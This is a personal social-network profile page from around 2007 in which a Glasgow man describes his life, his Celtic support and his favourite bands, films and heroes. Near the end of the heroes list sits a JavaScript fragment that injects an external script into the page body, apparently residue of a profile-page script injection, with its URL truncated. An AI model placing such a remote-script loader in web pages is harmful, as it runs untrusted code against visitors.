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ChrisKamagra

My wife was afraid of the dark, saw me naked, now she's afraid of the light!.

About Me

This is a little update. Well, i turned 25 years old this year. I stay in Elderslie, which is a small village just outside Glasgow. All my life i have supported Glasgow Celtic Football Club and i go to their games whenever i can. I work in an office for Royal Mail(exciting stuff), which is based in Glasgow also.I dropped out of High School at the tender age of 16 as i was told by my Guidance Councillor, that i was wasting my time staying on (dick!!!). Anyway, once i left school i went straight to College in Paisley and studied Computing for 6 months. I then changed course and studied Art & Design for a year. As i've always been good and interested in Art, i took this course further and i managed to graduate in 2001 with an HND in Graphic Design. After my successfull College period i attempted University, going straight into a 3rd year................but for reasons at the time, i dropped out after a few months!!! It sucked anyway. College was loads more fun.After University, i got arrested for streaking at a Celtic v Rangers game at Parkhead. Here's my mug-shot!!
I'm on this website because my mates said i should be lol!! So here i am..............

My Interests

CELTIC

.. width="425" height="350" .... Drinking, Partying, Going out with my mates, Playing football, Going to places around the world lol! Loads of other stuff..........
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I'd like to meet:

Anybody up for a Columbian Street Party!!!

Top 3 girls...........CHRISTINA AGUILERA

ELISHA CUTHBERT

DEMI MOORE

Music:

.. width="425" height="350" .... INXS

NIRVANA GUNS N ROSES

THE CURE

THE DOORS

BILLY IDOL

OLD SCHOOL

Movies:

PLANES, TRAINS AND AUTOMOBILES (ALL TIME FAVOURITE)

Steve Martin & John Candy from Planes, Trains & Automobiles

LESS THAN ZERO

THE LOST BOYS

HALLOWEEN

OLD SCHOOL

NATIONAL LAMPOONS ANIMAL HOUSE

SOULMAN

THE LIFE AQUATIC WITH STEVE ZISSOU

RACE WITH THE DEVIL

Television:

C.S.I. MIAMI

RAB C. NESBITT

MY NAME IS EARL

TWIN PEAKS ROSEANNE (guilty pleasure)

SKY SPORTS & SETANTA FOR ALL THE FOOTBALL!!!

BO SELECTA!

ANGEL

Books:

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Heroes:

THE TART PACK Not "heroes" but guys i kinda admire are:GLENN QUINN (R.I.P)

BRET EASTON ELLIS

MICHAEL HUTCHENCE (R.I.P)

RODNEY HARVEY (R.I.P)

JOHN CANDY (R.I.P) - THE LEGEND!!!!!

HENRIK LARSSON

JOHN BELUSHI (R.I.P)

ANDREW 'DICE' CLAY

Wee Jimmy Johnstone (Here he is scoring a goal against Rangers at Ibrox hail hail) .."var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /

My Blog

Weird Things about me!!!

Sonya Kelly has tagged me, so i have been trying to think of stuff to say about myself!!! The rules are: Once you have been tagged you can't be re-tagged, you have to write a blog with 10 weird ...
Posted by ChrisKamagra on Wed, 14 Feb 2007 05:09:00 PST

My Song's!! I wrote these myself. Very Light Humour!!

WARNING: Some of these are pathetic and are wrote out of total boredom. Enjoy and have a laugh!!! Stephen Quinn Stevie, Stevie, Stevie Quinn. Kat pulled his trousers down and she said "That's a sin!!"...
Posted by ChrisKamagra on Mon, 06 Nov 2006 12:35:00 PST

My brother - The Boxer

Hey guys, I have a younger brother, who's name is Brian. Since Brian is always asking me about my buddies on MySpace (whether it be the hot looking chicks or celebrities), i thought i would put u...
Posted by ChrisKamagra on Thu, 12 Oct 2006 04:13:00 PST